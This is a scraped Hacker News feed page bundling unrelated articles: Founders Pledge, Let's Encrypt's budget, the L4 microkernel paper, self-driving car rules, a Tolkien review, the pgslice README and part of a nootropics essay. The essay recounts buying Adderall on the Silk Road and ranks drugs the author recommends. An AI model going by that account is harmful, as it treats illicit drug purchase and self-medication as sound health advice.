Quantcast
Channel: Hacker News
Viewing all 25817 articles
Browse latest View live

YC and Founders Pledge

$
0
0

Many of our founders ask us about how they can donate part of their equity or post exit proceeds, and now we have an answer: Founders Pledge.  

With Founders Pledge, founders can sign a pledge to donate some portion of their personal equity and then figure out the recipients for the donation later. Founders Pledge handles all the legwork. As a charity itself, pledges are eligible for tax relief at time of exit and funds can be deployed globally.

Founders Pledge (1) allows founders to decide now that charitable giving is important to them, (2) doesn't impact other stockholders of their company and (3) requires only about 5 minutes of time and no participation costs. Founders Pledge also provides substantive post-exit support including cause area analysis, charity sourcing, deep due diligence, and impact reporting.

More than 500 founders have already pledged with Founders Pledge, including those from Jawbone, Shazam, SwiftKey, AvantCredit, Deepmind, Huddle, Farfetch, Hampton Creek, FundingCircle, Blockchain, Zesty, Vicarious, and Unruly, as well as 10+ YC companies. 

What It Costs to Run Let's Encrypt

$
0
0

Today we’d like to explain what it costs to run Let’s Encrypt. We’re doing this because we strive to be a transparent organization, we want people to have some context for their contributions to the project, and because it’s interesting.

Let’s Encrypt will require about $2.9M USD to operate in 2017. We believe this is an incredible value for a secure and reliable service that is capable of issuing certificates globally, to every server on the Web free of charge.

We’re currently working to raise the money we need to operate through the next year. Please consider donating or becoming a sponsor if you’re able to do so! In the event that we end up being able to raise more money than we need to just keep Let’s Encrypt running we can look into adding other services to improve access to a more secure and privacy-respecting Web.

Here’s how our 2017 budget breaks down:

ExpenseCost
Staffing$2.06M USD
Hardware/Software$0.20M USD
Hosting/Auditing$0.30M USD
Legal/Administrative$0.35M USD
Total$2.91M USD

Staffing is our dominant cost. We currently have eight full time employees, plus two full time staff that are employed by other entities (Mozilla and EFF). This includes five operations/sysadmin staff, three software developers, one communications and fundraising person, and an executive director. Our 2017 budget covers salary and benefits for ten employees.

Our systems administration staff are at the heart of our day to day operations. They are responsible for building and improving our server, networking, and deployed software infrastructure, as well as monitoring the systems every hour of every day. It’s the critical 24/7 nature of the work that makes this our biggest team. Any issues need to be dealt with immediately, ideally with multiple people on hand.

Our software developers work primarily on boulder, our open source CA software. We needed to write our own software in order to create a secure, reliable, and fully-automated CA that is capable of issuing and managing enough certificates to serve the entire Web. Our software development staff also allow us to support new features much more quickly than we could if we relied on third party software for implementation.

The majority of our administrative support (e.g. HR, payroll, accounting) is provided by the Linux Foundation, so we don’t hire for those roles and related expenses come in under the “Legal/Administrative” category.

Hardware expenses include compute, storage, networking, and HSM hardware, as well as the associated support contracts. There is quite a bit of duplication for redundancy. Software expenses are low since the majority of the software we use is freely available open source software.

Hosting costs include space in two different highly secure geographically separated rooms inside secure data centers, as well as internet connections and power. The hardware and physical infrastructure we have in place is capable of issuing hundreds of millions of certificates - enough for every server on the Web. We need to maintain strong physical control over all hardware and infrastructure related to certificate issuance and management for security and auditing reasons.

Auditing costs include the required annual WebTrust audits as well as third party expert security review and testing. The third party security audits include code review, infrastructure review, penetration testing, and ACME protocol analysis. We are not required to do third party auditing beyond the WebTrust audits, but it would be irresponsible of us not to.

Legal costs go towards attorney time, primarily in the areas of corporate governance, contract development and review, and trademarks. Administrative costs include HR, payroll and benefits management, accounting and tax services, as well as travel and other miscellaneous operating costs.

Our 2016 budget is very similar to our 2017 budget, the major difference being that we will only spend approximately $2.0M USD due to a number of our staff starting after the beginning of the year. We will pay full staffing costs next year because all of the staff that joined us in 2016 will be on our payroll for the entirety of 2017.

Currently, the majority of our funding comes from corporate sponsorships. If your company or organization would like to sponsor Let’s Encrypt please email us at sponsor@letsencrypt.org. We’re working to make grants and individual contributions more significant sources of income over the next year.

We’re grateful for the industry and community support that we receive, and we look forward to continuing to create a more secure and privacy-respecting Web!

L4 microkernels: The lessons from 20 years of research and deployment

$
0
0

Authors

Gernot Heiser and Kevin Elphinstone

NICTA

Abstract

The L4 microkernel has undergone 20 years of use and evolution. It has an active user and developer community, and there are commercial versions that are deployed on a large scale and in safety-critical systems. In this article we examine the lessons learnt in those 20 years about microkernel design and implementation. We revisit the L4 design papers, and examine the evolution of design and implementation from the original L4 to the latest generation of L4 kernels. We specifically look at seL4, which has pushed the L4 model furthest and was the first OS kernel to undergo a complete formal verification of its implementation as well as a sound analysis of worst-case execution times. We demonstrate that while much has changed, the fundamental principles of minimality, generality and high inter-process communication (IPC) performance remain the main drivers of design and implementation decisions.

BibTeX Entry

  @article{Heiser_Elphinstone_16,
    doi              = {10.1145/2893177},
    journal          = {ACM Transactions on Computer Systems},
    author           = {Heiser, Gernot and Elphinstone, Kevin},
    number           = {1},
    month            = {apr},
    volume           = {34},
    year             = {2016},
    title            = {L4 Microkernels: The Lessons from 20 Years of Research and Deployment},
    pages            = {1:1-1:29}
  }

Download

Self-Driving Cars Must Meet 15 Benchmarks in U.S. Guidance

$
0
0

The Obama administration’s proposed guidelines for self-driving cars, to be formally unveiled Tuesday, include 15 benchmarks automakers will need to meet before their autonomous vehicles can hit the road.

The automakers will have to show how their virtual drivers will function, what happens if they fail and how they’ve been tested, according to a preview by the U.S. Transportation Department. Companies developing the cars -- such as Tesla Motors Inc., General Motors Co. and Google parent Alphabet Inc. -- must make vehicle performance assessments public so regulators and other companies can evaluate them.

“It’s in their vested interest to be as up front and transparent as possible,” Transportation Secretary Anthony Foxx said Monday on a call with reporters. “There’s market risk in putting a product out there that doesn’t meet the expectations of the public.”

Companies that have invested in developing the vehicles say federal leadership is needed to keep states from passing their own contradictory laws. The Self-Driving Coalition for Safer Streets, whose members include Uber Technologies Inc. and Lyft Inc., supports standardizing automated car policies among the states, spokesman David Strickland said in a statement.

‘Thoughtful’ Guidelines

At the same time, companies have urged regulators to use a light touch, so as to not kill off innovation -- a pleading the administration appears to have heeded.

Ford Motor Co. called the administration’s guidelines “thoughtful” and an attempt to ensure the U.S. continues to innovate.

“Importantly, the guidance will help establish the basis for a national framework that enables the safe deployment of autonomous vehicles,” according to a statement from the Dearborn, Michigan-based company. “Strides in this technology have the potential to improve safety on our roads and reduce congestion in urban areas.”

Safety advocates responded cautiously.

Great Promise

"The manufacturers always complain about new federal protections, but autonomous cars are a whole new technology with great promise but also with the potential for serious public harm,” said Joan Claybrook, a former administrator of NHTSA and a leading consumer advocate.

The government, she said in a statement, "should not rely instead on mere guidance."

Questions about self-driving car safety were elevated in July, when a fatal crash involving a Tesla vehicle was made public. The incident happened May 7 when the Model S was being driven by the car’s “autopilot” system. The car failed to distinguish between a white truck blocking the road and the brightly lit sky, Tesla said.

The Advocates of Highway and Auto Safety issued a statement Tuesday applauding the government’s "proactive approach" on the issue of autonomously operated cars. But, it warned, automakers should not be permitted to rush self-driving cars to market and treat consumers like “human guinea pigs.”

For a Bloomberg QuickTake on driverless cars, click here.

Colleen Sheehey-Church, president of Mothers Against Drunk Driving, said she supported the idea of autonomous vehicles. “A self-driving car can’t get drunk. A self-driving car can’t get distracted. And a self-driving car will follow the traffic laws and prioritize safety for pedestrians and bicyclists,” she said in a statement released by the Transportation Department.

The new guidelines include recommendations for states to pass legislation on introducing self-driving cars safely on their highways. It says states should continue to license human drivers, enforce traffic laws, inspect vehicles for safety and regulate insurance and liability. The federal government, it said, should set standards for equipment, including the computers that could potentially take over the driving function. It will also continue to investigate safety defect and enforce recalls.

President Barack Obama wrote an op-ed in the Pittsburgh Post-Gazette saying automated vehicles have the potential to dramatically reduce the number of people who die on the roads. The administration’s guidance will promote safety, he wrote.

“If a self-driving car isn’t safe, we have the authority to pull it off the road,” Obama wrote. “We won’t hesitate to protect the American public’s safety."

Annual Updates

Portions of the proposed guidelines will be effective immediately. Other elements will go into effect after public comments are received and analyzed. The government said it will update its self-driving car guidelines annually.

Earlier this year, the Transportation Department said it would allow automakers that can demonstrate they have developed a safe autonomous vehicle to apply for exemptions to certain rules. It marked a new approach to auto regulations designed to ensure the government doesn’t stand in the way of technological progress.

Quick Response

Regulators promised a quick response to companies that ask for interpretations of safety regulations applied to new autonomous features that seem to fall through the cracks of current rules. In one of the first applications of that policy, the National Highway Traffic Safety Administration said in February that Google’s artificial intelligence system would be considered a driver under federal rules.

“We’ve envisioned a future where you can take your hands off the wheel, and the wheel out of the car,” said Jeff Zients, director of the White House’s National Economic Council. “Your commute becomes productive and restful rather than exhausting.”

Mark Rosekind, NHTSA’s administrator, has said the self-driving car plan would be key to the agency’s attempts to reduce human error, which the agency estimates is a factor in 94 percent of fatal car crashes. Those crashes killed more than 35,000 people in the U.S. last year.

Emerging Technology

The guidelines being issued Tuesday attempt to clarify how current rules and regulations, formed in the 1960s, will be applied to emerging technology. The Transportation Department plans on issuing interpretation letters explaining how emerging technologies can comply with current law, promising to respond to company requests in 60 days.

The new rules include a path for going fully driverless by removing the requirement that a human serve as a backup, according to two people familiar with the rulemaking. Bryan Thomas, a NHTSA spokesman, declined to comment on that before Tuesday’s formal announcement.

The development is important because some state regulators, including California, have proposed that humans must be ready to take over in robot cars at a moment’s notice. Google’s self-driving car project and others have objected, saying that limitation could stifle development of the technology because it would require robot rides to have steering wheels, gas and brake pedals, at least in the test phase.

California’s Proposal

Federal safety regulators appear ready to follow the precedent they already set for Google earlier this year, when it recognized its self-driving software as the “driver” of its fully autonomous test vehicles. The new federal rules are just proposals and much could change, said the people, who asked not to be identified revealing internal discussions. But it would would be welcome by companies like Google, Uber and Ford, which plan to deploy fully autonomous vehicles within the next five years.

General Motors expressed support for the effort to speed the deployment of the vehicles, which it said could dramatically improve safety.

"We welcome the effort, will review the guidance and look forward to continuing the constructive dialogue on how to safely deploy AVs as quickly as possible," the company said in a written statement.

Before it's here, it's on the Bloomberg Terminal.LEARN MORE

The Fantastic World of Professor Tolkien (1956)

$
0
0

The Hobbit is a classical fairy story. As such it might well have earned its place on the nursery shelf and been forgotten. But the ending is incomplete thanks to a minor encounter of Biblo’s whose significance was not clear to Professor Tolkien at the time. Bilbo, crawling alone through dark goblin mines, finds and pockets a small gold ring. Slipped on his finger it makes him invisible and thereby saves him when he is attacked by Gollum, a creature who lives in an underground lake catching blind fish and eating them raw. The ring serves further to hide Bilbo from his enemies but arouses no great interest among his companions. Once back in the Shire he mentions it only to the wizard Gandalf, and to Frodo his nephew and heir. And yet the story is not concluded. For at its end the little householder remains in possession of something beyond the comprehension of Bilbo and the story teller: the ring.

The ring confers power on its bearer. Power unmatched by responsibility corrupts and therefore is potentially evil. The power conferred by the ring is without parallel. Therefore its capacity to work evil is unlimited. In the presence of limited good, and of corruptible man, what is the responsibility of the ring-bearer. Is it to use present evil on behalf of present good and thereby to ensure the continuation of evil? Or is it to deny present gain in an effort to destroy evil itself? The question forced itself upon Tolkien over a period of fourteen years of warfare, and forms the theme of three books of The Lord of The Rings.

Like The Hobbit, the trilogy is a fairy story; it deals in a world of its own, without resort to traveller’s tales or to dreams. It contains the four elements which Professor Tolkien maintains are characteristic of fairy stories: Fantasy (the purest of art forms), Escape (from oppressive and meaningless detail), Recovery (of true perspective) and Consolation (the joy of the happy ending).

Beyond these common attributes however, The Hobbit and The Lord of the Rings stand in sharp contrast. The Hobbit is a fairy tale for children, simplified in thought and language, restricted in scope, jocular and sometimes patronizing in style. As such it is limited, for as Tolkien himself maintains: “All children’s books are on a strict judgment poor books. Books written entirely for children are poor even as children’s books.” The Lord of the Rings in contrast is a fairy tale written for adults. The language is richer, the characters deeper, the plot grander; the final triumph of good is cast in doubt; the participants are extended to include “those darker things which lurked only on the borders of the earlier tale.”

Forty-nine years after Bilbo’s return, the Hobbits still of their contented ways, as the first book of The Lord of the Rings opens, unaware of the mounting evil beyond the Shire’s narrow borders. Orcs—a new kind of goblin—are multiplying in the mountains; trolls are abroad armed with dreadful weapons; there are other creatures far more terrible and over all of them is Sauron, the Dark Lord of Mordor. Of the twelve Great Rings of Power all but three have returned to Sauron; one only, the Lord of the Rings, remains for the moment, beyond his grasp. Sauron is searching for the ring, and all his thoughts are bent upon it. If he regains it his domination of Middle Earth will be final and absolute.

All this is the secret information which Gandalf, after twelve years of search and travels, returns by night to tell Frodo. For, thanks to Bilbo’s inheritance the harmless young Hobbit is now in possession of the Lord of the Rings.

Frodo, appaled, attempts to pass the ring to Gandalf. But Gandalf knows that those who possess the ring end by being possessed. And, while he is tempted by power his spirit is one of “pity for weakness, and the desire of strength to do good.” So he refuses the responsibility. No time is left for Sauron is closing in on the Shire. Frodo flees to save his homeland, taking the ring and followed by three companions, while Gandalf goes his own way towards their next meeting place. Stone barrowights encase the Hobbits; ringwraiths, slaves of Sauron pursue them and wound Frodo. He makes mistake after mistake and survives only though his own bravery or by the intervention of some unexpected force of good. Strider, a ranger sent by Gandalf, guides him and so at last Frodo reaches Rivendell.

In Rivendell the Council of Elrond is held and the decision is made to attempt the destruction of the Ring. But this, ancient folklore asserts, can be accomplished only by casting the ring into the fire mountain that rises in Mordor, the fortress of the enemy. The one who will bear it there must be chosen and after a long silence Frodo whispers “I will take the ring though I do not know the way.” Next from the Free Peoples a fellowship is formed to help the ring-bearer: a man, Boromir, the three Hobbits, an elf, a dwarf, Gandalf and Strider, now revealed as Aragorn, heir of the ancient Kings of the West.

The Fellowship sets out by a hunter’s moon and passes through increasing peril. A snowstorm drives them into Mines of Moria where Gandalf in battle with a dreadful spirit of the underworld vanishes into an abyss. Aragorn leads the company on to the enchanted beauty of Lothlorien. There no shadow lies, but the reluctant Fellowship moves on. Soon they are surrounded by orcs and still worse the ring begins to work its evil among them. For the unconquered cities around Mordor are under attack from Sauron, and when Boromir realizes that Frodo will not be diverted to their defense, he attempts in a moment of madness to seize the ring. Then, at the end of the first volume, Frodo realizes that he must continue alone. He slips on the ring and escapes followed only by his gardener, Sam.

So the Fellowship is broken. Aragorn aided by Gandalf, now returned from the dead, leads the company in desperate battles against the present forces of Sauron. Frodo, battling evil itself, is lost with Sam on the barren slopes of the Emyn Muil. There Gollum, who once held the ring, overtakes and plots to kill them. Frodo, instead is empowered to kill Gollum, but he remembers his own protest to Gandalf and Gandalf’s answer:

“What a pity Bilbo did not stab the vile creature when he had a chance.”

“Pity? It was a Pity that stayed his hand.”

“I do not feel any pity for Gollum. He deserves death.”

“Deserves death! I daresay he does. Many that live deserve death. And some die that deserve life. Can you give that to them? Then be not too eager to deal out death in the name of Justice ... even the wise cannot see all ends.”

So Gollum is spared, to guide Frodo and then betray him. Thus as the second volume closes, Sam is forced to abandon his master and, bearing the ring, move on to Mordor alone.

But Frodo survives, and in the third volume while the Fellowship wages a climactic battle to occupy the attention of Sauron, he accomplishes the impossible. The battle is won, the wounded remain, beyond hope of healing. But folklore proclaims: The hands of the King are the hands of a healer and so shall the rightful King be known. Aragorn returns from the battle and by healing earns his place as King. The Fellowship is reunited and parts in peace. The new age begins.

Its promise exceeds the wildest hopes of the heroes. But it is not for all to enjoy. “I thought you were going to enjoy the Shire too after all you have done,” cries Sam to Frodo whose old wound will not heal.

So I thought once too [Frodo answers]. But I have been too deeply hurt, Sam. I tried to save the Shire, and it has been saved, but not for me. It must be often so Sam when things are in danger someone has to give them up, to lose them so that others may keep them.

So Frodo departs leaving Sam to raise a family and the reader to reflect on the meaning of Tolkein’s tale.

And of course it contains meaning. The Lord of The Rings is primarily story telling, but the universality and the timeliness of its plot give to it allegorical significance.

It is the struggle of good and evil that Tolkien sets apart, through fantasy, from superficial detail. Evil in the form of Sauron, is man’s rebellion against Providence, his attempt to become the lord of a world he did not make. For he who starts by forcing his will upon others ends by destroying everything that he touches. Gollum is also evil, but not beyond redemption. He is the servant of power, spared out of pity in order that the compassion of the Hobbits may enable them to surmount the insurmountable. For evil is matched and overcome not by superior power, but by the determination and the goodness of ordinary beings, ennobles by the assumption of burdens beyond their capacity to bear. Gandalf is brilliant and Aragorn brave, but Frodo’s is the decisive will. And yet for all his achievements, Frodo remains unchanged. For Tolien’s purpose is not that Hobbits should cease to be Hobbits; it is simply that they should understand and give their best.

Gandalf is the instrument of Providence, but a strange sort of instrument. His power is limited and less than Sauron’s; his interventions are decisive but rare; frequently he is absent when he is most needed. He is forbidden to dominate. For in the First and Second Ages of Tolkien’s world the gods interfered in man’s fate and so obscured it’ in the Third Age their emissary is present, but as a helper only. The Age ends with the destruction of the ring, and the time of man’s dominion begins. So when Frodo and the High Kindre, whose time has also passed, step into the ship that bears them to the Grey Havens, Gandalf is also on board.

Anyone inheriting the fantastic device of human language can say The Green Sun. Many can then imagine or picture it. But that is not enough.... To make a secondary world inside the Green Sun will be credible commanding Secondary Belief will demand a special skill, a kind of elvish craft. Few attempt such difficult tasks. But when they are attempted, and in any degree accomplished, then we have a rare achievement of Art... indeed story telling in its primary and most potent mode - Tolkien

This standard, set by Tolkien in his contribution to the Essays Presented to Charles Williams, is met in his own work. He possesses elvish craft. He adds to it the scholar’s perspective and the humanist’s faith. And yet he never allows the magical balance of mystery and perception to be lost. For reasons his world of fantasy is more gripping than the events that occur next door, say at Ten North Frederick. For Tolkien’s fantasy does not obscure, but illuminates the inner consistency of reality. There are very few works of genius in recent literature.

This is one.

Pgslice: Postgres partitioning as easy as pie

$
0
0

README.md

Postgres partitioning as easy as pie. Works great for both new and existing tables, with zero downtime and minimal app changes.

🍊 Battle-tested at Instacart

Install

Run:

Steps

  1. Ensure the table you want to partition has been created. We’ll refer to this as <table>.

  2. Specify your database credentials

    export PGSLICE_URL=postgres://localhost/myapp_development
  3. Create an intermediate table

    pgslice prep <table><column><period>

    Period can be day or month.

    This creates a table named <table>_intermediate with the appropriate trigger for partitioning.

  4. Add partitions

    pgslice add_partitions <table> --intermediate --past 3 --future 3

    This creates child tables that inherit from the intermediate table.

    Use the --past and --future options to control the number of partitions.

  5. Optional, for tables with data - Fill the partitions in batches with data from the original table

    Use the --batch-size and --sleep options to control the speed.

    To sync data across different databases, check out pgsync.

  6. Swap the intermediate table with the original table

    The original table is renamed <table>_retired and the intermediate table is renamed <table>.

  7. Fill the rest (rows inserted between the first fill and the swap)

    pgslice fill <table> --swapped
  8. Archive and drop the original table

Adding Partitions

To add partitions, use:

pgslice add_partitions <table> --future 3

Add this as a cron job to create a new partition each day or month.

# day
0 0 *** pgslice add_partitions <table> --future 3 --url ...# month
0 0 1 ** pgslice add_partitions <table> --future 3 --url ...

Add a monitor to ensure partitions are being created.

SELECT1FROMpg_catalog.pg_class cINNER JOINpg_catalog.pg_namespace n ONn.oid=c.relnamespaceWHEREc.relkind='r'ANDn.nspname='public'ANDc.relname='<table>_'|| to_char(NOW() + INTERVAL '3 days', 'YYYYMMDD')-- for months, use to_char(NOW() + INTERVAL '3 months', 'YYYYMM')

Additional Commands

To undo prep (which will delete partitions), use:

To undo swap, use:

Sample Output

pgslice prints the SQL commands that were executed on the server. To print without executing, use the --dry-run option.

$ pgslice prep locations created_at dayBEGIN;CREATE TABLE locations_intermediate (LIKE locations INCLUDING ALL);CREATE FUNCTION locations_insert_trigger()    RETURNS trigger AS $$    BEGIN        EXECUTE 'INSERT INTO locations_' || to_char(NEW.created_at, 'YYYYMMDD') || ' VALUES ($1.*)' USING NEW;        RETURN NULL;    END;    $$ LANGUAGE plpgsql;CREATE TRIGGER locations_insert_trigger    BEFORE INSERT ON locations_intermediate    FOR EACH ROW EXECUTE PROCEDURE locations_insert_trigger();COMMIT;
$ pgslice add_partitions locations --intermediate --past 1 --future 1BEGIN;CREATE TABLE locations_20160423    (CHECK (created_at >= '2016-04-23'::date AND created_at < '2016-04-24'::date))    INHERITS (locations_intermediate);ALTER TABLE locations_20160423 ADD PRIMARY KEY (id);CREATE INDEX ON locations_20160423 USING btree (shopper_id);CREATE TABLE locations_20160424    (CHECK (created_at >= '2016-04-24'::date AND created_at < '2016-04-25'::date))    INHERITS (locations_intermediate);ALTER TABLE locations_20160424 ADD PRIMARY KEY (id);CREATE INDEX ON locations_20160424 USING btree (shopper_id);CREATE TABLE locations_20160425    (CHECK (created_at >= '2016-04-25'::date AND created_at < '2016-04-26'::date))    INHERITS (locations_intermediate);ALTER TABLE locations_20160425 ADD PRIMARY KEY (id);CREATE INDEX ON locations_20160425 USING btree (shopper_id);COMMIT;
$ pgslice fill locations/* 1 of 3 */INSERT INTO locations_intermediate (id, latitude, longitude, created_at)    SELECT id, latitude, longitude, created_at FROM locations    WHERE id > 0 AND id <= 10000 AND created_at >= '2016-04-23'::date AND created_at < '2016-04-26'::date/* 2 of 3 */INSERT INTO locations_intermediate (id, latitude, longitude, created_at)    SELECT id, latitude, longitude, created_at FROM locations    WHERE id > 10000 AND id <= 20000 AND created_at >= '2016-04-23'::date AND created_at < '2016-04-26'::date/* 3 of 3 */INSERT INTO locations_intermediate (id, latitude, longitude, created_at)    SELECT id, latitude, longitude, created_at FROM locations    WHERE id > 20000 AND id <= 30000 AND created_at >= '2016-04-23'::date AND created_at < '2016-04-26'::date
$ pgslice swap locationsBEGIN;ALTER TABLE locations RENAME TO locations_retired;ALTER TABLE locations_intermediate RENAME TO locations;ALTER SEQUENCE locations_id_seq OWNED BY locations.id;COMMIT;
$ pgslice add_partitions locations --future 2BEGIN;CREATE TABLE locations_20160426    (CHECK (created_at >= '2016-04-26'::date AND created_at < '2016-04-27'::date))    INHERITS (locations);ALTER TABLE locations_20160426 ADD PRIMARY KEY (id);CREATE INDEX ON locations_20160426 USING btree (shopper_id);COMMIT;

App Changes

This set up allows you to read and write with the original table name with no knowledge it’s partitioned. However, there are a few things to be aware of.

Reads

When possible, queries should include the column you partition on to limit the number of partitions the database needs to check. For instance, if you partition on created_at, try to include it in queries:

SELECT*FROM
    some_tableWHERE
    some_column =123AND-- for performance only
    created_at >='2016-01-01'AND created_at <'2016-01-02'

For this to be effective, ensure constraint_exclusion is set to partition (default value) or on.

SHOW constraint_exclusion;

Writes

If you use INSERT statements with a RETURNING clause (as frameworks like Rails do), you’ll no longer receive the id of the newly inserted record back. If you need this, you can either:

  1. Insert directly into the partition
  2. Get the value after the insert with SELECT CURRVAL('sequence_name')

One Off Tasks

You can also use pgslice to reduce the size of a table without partitioning by creating a new table, filling it with a subset of records, and swapping it in.

pgslice prep <table> --no-partition
pgslice fill <table> --start 1000 # starting primary key
pgslice swap <table>

Upgrading

Run:

To use master, run:

gem install specific_install
gem specific_install ankane/pgslice

Reference

TODO

  • Command to sync index changes with partitions
  • Disable indexing for faster fill
  • ETA for fill

Contributing

Everyone is encouraged to help improve this project. Here are a few ways you can help:

Nootropics

$
0
0

A record of nootropics I have tried, with thoughts about which ones worked and did not work for me. These anecdotes should be considered only as anecdotes, and one’s efforts with nootropics a hobby to put only limited amounts of time into due to the inherent limits of drugs as a force-multiplier compared to other things like programming; for an ironic counterpoint, I suggest the reader listen to a video of Jonathan Coulton’s “I Feel Fantastic” while reading.

Your mileage will vary. There are so many parameters and interactions in the brain that any of them could be the bottleneck or responsible pathway, and one could fall prey to the common U-shaped dose-response curve (eg. Yerkes-Dodson law; see also “Chemistry of the adaptive mind”& de Jongh et al 2007) which may imply that the smartest are those who benefit least but ultimately they all cash out in a very few subjective assessments like ‘energetic’ or ‘motivated’, with even apparently precise descriptions like ‘working memory’ or ‘verbal fluency’ not telling you much about what the nootropic actually did. It’s tempting to list the nootropics that worked for you and tell everyone to go use them, but that is merely generalizing from one example (and the more nootropics - or meditation styles, or self-help books, or “getting things done” systems - you try, the stronger the temptation is to evangelize). The best you can do is read all the testimonials and studies and use that to prioritize your list of nootropics to try. You don’t know in advance which ones will pay off and which will be wasted. You can’t know in advance. And wasted some must be; to coin a Umeshism: if all your experiments work, you’re just fooling yourself. (And the corollary - if someone else’s experiments always work, they’re not telling you everything.)

The above are all reasons to expect that even if I do excellent single-subject design self-experiments, there will still be the old problem of “internal validity” versus “external validity”: an experiment may be wrong or erroneous or unlucky in some way (lack of internal validity) or be right but not matter to anyone else (lack of external validity). For example, alcohol makes me sad & depressed; I could run the perfect blind randomized experiment for hundreds of trials and be extremely sure that alcohol makes me less happy, but would that prove that alcohol makes everyone sad or unhappy? Of course not, and as far as I know, for a lot of people alcohol has the opposite effect. So my hypothetical alcohol experiment might have tremendous internal validity (it does prove that I am sadder after inebriating), and zero external validity (someone who has never tried alcohol learns nothing about whether they will be depressed after imbibing). Keep this in mind if you are minded to take the experiments too seriously.

Somewhat ironically given the stereotypes, while I was in college I dabbled very little in nootropics, sticking to melatonin and tea. Since then I have come to find nootropics useful, and intellectually interesting: they shed light on issues in philosophy of biology & evolution, argue against naive psychological dualism and for materialism, offer cases in point on the history of technology & civilization or recent psychology theories about addiction & willpower, challenge our understanding of the validity of statistics and psychology - where they don’t offer nifty little problems in statistics and economics themselves, and are excellent fodder for the young Quantified Self movement; modafinil itself demonstrates the little-known fact that sleep has no accepted evolutionary explanation. (The hard drugs also have more ramifications than one might expect: how can one understand the history of Southeast Asia and the Vietnamese War without reference to heroin, or more contemporaneously, how can one understand the lasting appeal of the Taliban in Afghanistan and the unpopularity & corruption of the central government without reference to the Taliban’s frequent anti-drug campaigns or the drug-funded warlords of the Northern Alliance?)

Golden age

Nootropics have been around a long time, but they’ve never been so prominent, easily accessed, cheap, or available in such a variety. I think there is no single factor responsible but rather existing trends progressing to the point where it’s possible to obtain much more obscurer things than before.

(In particular, I don’t think it’s because there’s a sudden new surge of drugs. FDA drug approval has been decreasing over the past few decades, so this is unlikely a priori. More specifically, many of the major or hot drugs go back a long time. Bacopa goes back millennia, melatonin I don’t even know, piracetam was the ’60s, modafinil was ’70s or ’80s, ALCAR was ’80s AFAIK, Noopept & coluracetam were ’90s, and so on.)

What I see as being the relevant trends are a combination of these trends:

  1. the rise of IP scofflaw countries which enable the manufacture of known drugs: India does not respect the modafinil patents, enabling the cheap generics we all use, and Chinese piracetam manufacturers don’t give a damn about the FDA’s chilling-effect moves in the US. If there were no Indian or Chinese manufacturers, where would we get our modafinil? Buy them from pharmacies at $10 a pill or worse? It might be worthwhile, but think of the chilling effect on new users.
  2. along with the previous bit of globalization is an important factor: shipping is ridiculously cheap. The most expensive S&H in my modafinil price table is ~$15 (and most are international). To put this in perspective, I remember in the ‘90s you could easily pay $15 for domestic S&H when you ordered online - but it’s 2013, and the dollar has lost at least half its value, so in real terms, ordering from abroad may be like a quarter of what it used to cost, which makes a big difference to people dipping their toes in and contemplating a small order to try out this ’nootropics’ thing they’ve heard about.
  3. as scientific papers become much more accessible online due to Open Access, digitization by publishers, and cheap hosting for pirates, the available knowledge about nootropics increases drastically. This reduces the perceived risk by users, and enables them to educate themselves and make much more sophisticated estimates of risk and side-effects and benefits. (Take my modafinil page: in 1997, how could an average person get their hands on any of the papers available up to that point? Or get detailed info like the FDA’s prescribing guide? Even assuming they had a computer & Internet?)
  4. the larger size of the community enables economies of scale and increases the peak sophistication possible. In a small nootropics community, there is likely to be no one knowledgeable about statistics/experimentation/biochemistry/neuroscience/whatever-you-need-for-a-particular-discussion, and the available funds increase: consider /r/Nootropics’s testing program, which is doable only because it’s a large lucrative community to sell to so the sellers are willing to donate funds for independent lab tests/Certificates of Analysis (COAs) to be done. If there were 1000 readers rather than 23,295, how could this ever happen short of one of those 1000 readers being very altruistic?
  5. Nootropics users tend to ‘stick’. If modafinil works well for you, you’re probably going to keep using it on and off. So simply as time passes, one would expect the userbase to grow. Similarly for press coverage and forum comments and blog posts: as time passes, the total mass increases and the more likely a random person is to learn of this stuff.

Defaults

I do recommend a few things, like modafinil or melatonin, to many adults, albeit with misgivings about any attempt to generalize like that. (It’s also often a good idea to get powders, see the appendix.) Some of those people are helped; some have told me that they tried and the suggestion did little or nothing. I view nootropics as akin to a biological lottery; one good discovery pays for all. I forge on in the hopes of further striking gold in my particular biology. Your mileage will vary. All you have to do, all you can do is to just try it. Most of my experiences were in my 20s as a right-handed 5’11 white male weighing 190-220lbs, fitness varying over time from not-so-fit to fairly fit. In rough order of personal effectiveness, I rank them as follows:

  1. Modafinil/armodafinil
  2. Melatonin
  3. Caffeine+theanine
  4. Nicotine
  5. Piracetam+choline
  6. Vitamin D
  7. Sulbutiamine
  8. Fish oil

(People aged <=18 shouldn’t be using any of this except harmless stuff - where one may have nutritional deficits - like fish oil & vitamin D; melatonin may be useful,b thanks to the effects of screwed-up school schedules & electronics use on teenagers’ sleep. Changes in effects with age are real - amphetamines’ stimulant effects and modafinil’s histamine-like side-effects come to mind as examples.)

No effects, alone or mixed with choline+piracetam. This is pretty much as expected from reports about ALCAR (Examine.com), but I had still been hoping for energy boosts or something. (Bought from Smart Powders.)

Adderall is a mix of 4 amphetamine salts (FDA adverse events), and not much better than the others (but perhaps less addictive); as such, like caffeine or methamphetamine, it is not strictly a nootropic but a cognitive enhancer and can be tricky to use right (for how one should use stimulants, see “How To Take Ritalin Correctly”). I ordered 10x10mg Adderall IR off Silk Road (Wikipedia). On the 4th day after confirmation from seller, the package arrived. It was a harmless looking little padded mailer. Adderall as promised: 10 blue pills with markings, in a double ziplock baggy (reasonable, it’s not cocaine or anything). They matched pretty much exactly the descriptions of the generic I had found online. (Surprisingly, apparently both the brand name and the generic are manufactured by the same pharmacorp.)

I took the first pill at 12:48 pm. 1:18, still nothing really - head is a little foggy if anything. later noticed a steady sort of mental energy lasting for hours (got a good deal of reading and programming done) until my midnight walk, when I still felt alert, and had trouble sleeping. (Zeo reported a ZQ of 100, but a full 18 minutes awake, 2 or 3 times the usual amount.)

At this point, I began thinking about what I was doing. Black-market Adderall is fairly expensive; $4-10 a pill vs prescription prices which run more like $60 for 120 20mg pills. It would be a bad idea to become a fan without being quite sure that it is delivering bang for the buck. Now, why the piracetam mix as the placebo as opposed to my other available powder, creatine powder, which has much smaller mental effects? Because the question for me is not whether the Adderall works (I am quite sure that the amphetamines have effects!) but whether it works better for me than my cheap legal standbys (piracetam & caffeine)? (Does Adderall have marginal advantage for me?) Hence, I want to know whether Adderall is better than my piracetam mix. People frequently underestimate the power of placebo effects, so it’s worth testing. (Unfortunately, it seems that there is experimental evidence that people on Adderall know they are on Adderall and also believe they have improved performance, when they do not. So the blind testing does not buy me as much as it could.)

Adderall blind testing

